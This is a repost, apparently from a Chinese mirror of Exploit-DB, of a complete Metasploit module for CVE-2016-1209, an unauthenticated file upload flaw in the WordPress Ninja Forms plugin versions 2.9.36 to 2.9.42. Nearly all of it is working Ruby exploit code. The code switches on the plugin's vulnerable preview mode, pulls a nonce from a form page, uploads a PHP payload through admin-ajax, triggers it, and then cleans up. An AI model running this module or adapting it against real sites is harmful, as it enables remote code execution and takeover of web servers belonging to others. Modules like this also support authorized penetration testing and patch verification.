WordPress Plugin Ninja Forms 2.9.36 < 2.9.42 - File Upload (Metasploit)

  • 作者: Metasploit
    日期: 2016-05-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41692/
  • ##
    # This module requires Metasploit: http://www.metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::FileDropper
    include Msf::Exploit::Remote::HTTP::Wordpress
    
    def initialize(info = {})
    super(update_info(
    info,
    'Name'=> 'WordPress Ninja Forms Unauthenticated File Upload',
    'Description' => %(
    Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
    an unauthenticated file upload vulnerability, allowing guests
    to upload arbitrary PHP code that can be executed in the context
    of the web server.
    ),
    'License' => MSF_LICENSE,
    'Author'=>
    [
    'James Golovich', # Discovery and disclosure
    'Rob Carr <rob[at]rastating.com>' # Metasploit module
    ],
    'References'=>
    [
    ['CVE', '2016-1209'],
    ['WPVDB', '8485'],
    ['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
    ],
    'DisclosureDate'=> 'May 04 2016',
    'Platform'=> 'php',
    'Arch'=> ARCH_PHP,
    'Targets' => [['ninja-forms', {}]],
    'DefaultTarget' => 0
    ))
    
    opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
    register_options(opts, self.class)
    end
    
    def print_status(msg='')
    super("#{peer} - #{msg}")
    end
    
    def print_good(msg='')
    super("#{peer} - #{msg}")
    end
    
    def print_error(msg='')
    super("#{peer} - #{msg}")
    end
    
    def check
    check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
    end
    
    def enable_v3_functionality
    print_status 'Enabling vulnerable V3 functionality...'
    res = send_request_cgi(
    'method'=> 'GET',
    'uri' => target_uri.path,
    'vars_get'=> { 'nf-switcher' => 'upgrade' }
    )
    
    unless res && res.code == 200
    if res
    fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
    else
    fail_with(Failure::Unreachable, 'Connection timed out.')
    end
    end
    
    vprint_good 'Enabled V3 functionality'
    end
    
    def disable_v3_functionality
    print_status 'Disabling vulnerable V3 functionality...'
    res = send_request_cgi(
    'method'=> 'GET',
    'uri' => target_uri.path,
    'vars_get'=> { 'nf-switcher' => 'rollback' }
    )
    
    if res && res.code == 200
    vprint_good 'Disabled V3 functionality'
    elsif !res
    print_error('Connection timed out while disabling V3 functionality')
    else
    print_error 'Failed to disable the vulnerable V3 functionality'
    end
    end
    
    def generate_mime_message(payload_name, nonce)
    data = Rex::MIME::Message.new
    data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
    data.add_part(nonce, nil, nil, 'form-data; name="security"')
    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
    data
    end
    
    def fetch_ninja_form_nonce
    uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
    res = send_request_cgi(
    'method' => 'GET',
    'uri'=> uri
    )
    
    unless res && res.code == 200
    fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
    end
    
    form_wpnonce = res.get_hidden_inputs.first
    form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce
    
    nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce
    
    unless nonce
    fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
    end
    
    nonce
    end
    
    def upload_payload(data)
    res = send_request_cgi(
    'method'=> 'POST',
    'uri' => wordpress_url_admin_ajax,
    'ctype' => "multipart/form-data; boundary=#{data.bound}",
    'data'=> data.to_s
    )
    
    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    vprint_error("Server responded with status code #{res.code}") if res.code != 200
    end
    
    def execute_payload(payload_name, payload_url)
    register_files_for_cleanup("nftmp-#{payload_name.downcase}")
    res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
    
    if !res.nil? && res.code == 404
    print_error("Failed to upload the payload")
    else
    print_good("Executed payload")
    end
    end
    
    def exploit
    # Vulnerable code is only available in the version 3 preview mode, which can be
    # enabled by unauthenticated users due to lack of user level validation.
    enable_v3_functionality
    
    # Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
    # page that contains a form generated by Ninja Forms.
    nonce = fetch_ninja_form_nonce
    
    print_status("Preparing payload...")
    payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
    payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
    data = generate_mime_message(payload_name, nonce)
    
    print_status("Uploading payload to #{payload_url}")
    upload_payload(data)
    
    print_status("Executing the payload...")
    execute_payload(payload_name, payload_url)
    
    # Once the payload has been executed, we can disable the preview functionality again.
    disable_v3_functionality
    end
    end